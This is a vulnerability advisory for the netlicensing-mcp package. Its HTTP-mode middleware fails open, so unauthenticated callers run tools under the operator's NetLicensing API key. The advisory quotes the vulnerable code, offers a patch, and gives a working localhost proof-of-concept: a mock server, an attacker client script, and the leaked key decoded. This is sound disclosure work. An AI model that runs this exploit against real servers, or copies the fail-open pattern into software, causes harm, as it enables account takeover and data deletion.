PyPI · netlicensing-mcp
NetLicensing-MCP: Unauthenticated Use of Server-Side NetLicensing API Key in HTTP Mode
When netlicensing-mcp is run in HTTP transport mode, the ApiKeyMiddleware fails to enforce authentication: requests that carry no client API key are unconditionally forwarded to the next handler (server.py:1427). The downstream HTTP client then falls back to the server operator's NETLICENSING_API_KEY environment variable (client.py:30) and uses it to authenticate every upstream call to the NetLicensing REST API. An unauthenticated network attacker can therefore invoke any MCP tool — including product listing, license creation/modification, and destructive delete operations — entirely under the operator's identity and account quota. CVSS 3.1 Base Score: 8.1 (High).
The HTTP transport is started in src/netlicensing_mcp/server.py around line 1430 via mcp.streamable_http_app(), and ApiKeyMiddleware is registered immediately after (line 1431). The middleware implementation (lines 1412–1427) attempts to extract a per-request API key from either the x-netlicensing-api-key header or the ?apikey= query parameter. However, if neither source provides a key, the middleware takes no enforcement action and simply calls return await call_next(request) (line 1427), passing the unauthenticated request downstream.
The downstream client module (src/netlicensing_mcp/client.py) uses a Python ContextVar named api_key_ctx with a default of os.getenv("NETLICENSING_API_KEY", "") (line 30). Because the middleware never sets this context variable for unauthenticated requests, api_key_ctx.get() returns the server-level environment variable. The client then encodes this value into an HTTP Basic Authorization header (lines 62–70) and transmits it to the upstream NetLicensing REST API on every request (lines 105, 109).
The complete exploitable data flow is:
| Step | Location | Description |
|---|---|---|
| 1 | server.py:1430 |
HTTP app created with mcp.streamable_http_app() |
| 2 | server.py:1431 |
ApiKeyMiddleware registered |
| 3 | server.py:1412–1419 |
Middleware attempts (optional) key extraction from headers/query |
| 4 | server.py:1427 |
Auth bypass sink: missing key → return await call_next(request) |
| 5 | server.py:155–163 |
Unauthenticated caller invokes netlicensing_list_products (or any tool) |
| 6 | tools/products.py:9,17 |
Tool delegates to nl_get("/product", ...) |
| 7 | client.py:30 |
Source: api_key_ctx defaults to NETLICENSING_API_KEY env var |
| 8 | client.py:62–70 |
Authorization: Basic base64("apiKey:<key>") constructed |
| 9 | client.py:105,109 |
Upstream sink: client.get(url, headers=_headers(), ...) executed |
Critical code excerpts:
# src/netlicensing_mcp/server.py
1418: if not key:
1419: key = request.query_params.get("apikey")
1421: if key:
1422: token = api_key_ctx.set(key)
...
1427: return await call_next(request) # <-- no rejection when key is absent
# src/netlicensing_mcp/client.py
30: "api_key", default=os.getenv("NETLICENSING_API_KEY", "") # server-side fallback
...
64: auth_str = f"apiKey:{api_key}"
70: "Authorization": f"Basic {token}",
...
109: r = await client.get(url, headers=_headers(), params=params or {})
The README (README.md:90–94) documents the HTTP mode deployment pattern with -e NETLICENSING_API_KEY=your_key as a first-class production deployment option, including AWS App Runner / ELB examples (README.md:310–318). The per-client key recommendation (README.md:318) is advisory only and is not technically enforced.
A suggested patch replaces the unconditional pass-through with a 401 rejection:
--- a/src/netlicensing_mcp/server.py
+++ b/src/netlicensing_mcp/server.py
@@
class ApiKeyMiddleware(BaseHTTPMiddleware):
async def dispatch(self, request: Request, call_next):
+ if request.url.path == "/health":
+ return await call_next(request)
+
key = request.headers.get("x-netlicensing-api-key")
if not key:
auth = request.headers.get("authorization")
if auth and auth.lower().startswith("bearer "):
key = auth[7:]
@@
return await call_next(request)
finally:
api_key_ctx.reset(token)
- return await call_next(request)
+ return JSONResponse(
+ {"error": "NetLicensing API key is required for HTTP transport"},
+ status_code=401,
+ )
Environment requirements:
netlicensing-mcp==0.1.5 and mcp client installed)ef0080c2aebbf4dfbce93a959dd7c1471103c05aSelf-contained Docker reproduction (all-in-one):
# Build the image from the repository root
docker build -f vuln-001/Dockerfile -t vuln-001-netlicensing .
# Run the PoC — exits 0 on confirmed exploit
docker run --rm --network=host vuln-001-netlicensing
Manual step-by-step reproduction:
# Terminal 1 — mock upstream NetLicensing REST API
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("MOCK_REQUEST", self.command, self.path,
self.headers.get("Authorization"), flush=True)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps({"items": {"item": []}}).encode())
def log_message(self, *args): pass
HTTPServer(("127.0.0.1", 19090), H).serve_forever()
PY
# Terminal 2 — vulnerable MCP server in HTTP mode with a server-side API key
NETLICENSING_API_KEY=SERVERSECRET \
NETLICENSING_BASE_URL=http://127.0.0.1:19090/core/v2/rest \
MCP_HOST=127.0.0.1 MCP_PORT=18181 PYTHONPATH=src \
python3 -m netlicensing_mcp.server http
# Terminal 3 — attacker: connect with NO API key and invoke a tool
python3 - <<'PY'
import asyncio
from mcp import ClientSession
from mcp.client.streamable_http import streamablehttp_client
async def main():
async with streamablehttp_client("http://127.0.0.1:18181/mcp") as (read, write, _):
async with ClientSession(read, write) as session:
await session.initialize()
print(await session.call_tool("netlicensing_list_products", {"filter": ""}))
asyncio.run(main())
PY
Expected output in Terminal 1:
MOCK_REQUEST GET /core/v2/rest/product Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoding the Base64 credential confirms the operator's secret was used:
$ echo YXBpS2V5OlNFUlZFUlNFQ1JFVA== | base64 -d
apiKey:SERVERSECRET
Observed evidence from dynamic reproduction (Phase 2):
[MOCK_UPSTREAM] GET /core/v2/rest/product Authorization=Basic YXBpS2V5OlNFUlZFUlNFQ1JFVA==
Decoded: apiKey:SERVERSECRET
[EXPLOIT CONFIRMED] Unauthenticated MCP client caused the server to forward its own
NETLICENSING_API_KEY='SERVERSECRET' to the upstream NetLicensing API.
CWE-306 / VULN-001 reproduced.
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. Any network-reachable attacker who can send HTTP requests to the /mcp endpoint can invoke the full set of MCP tools — including read, create, update, and delete operations — without supplying any credential. The attacker's requests are transparently executed under the server operator's NetLicensing account.
Concrete consequences include:
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.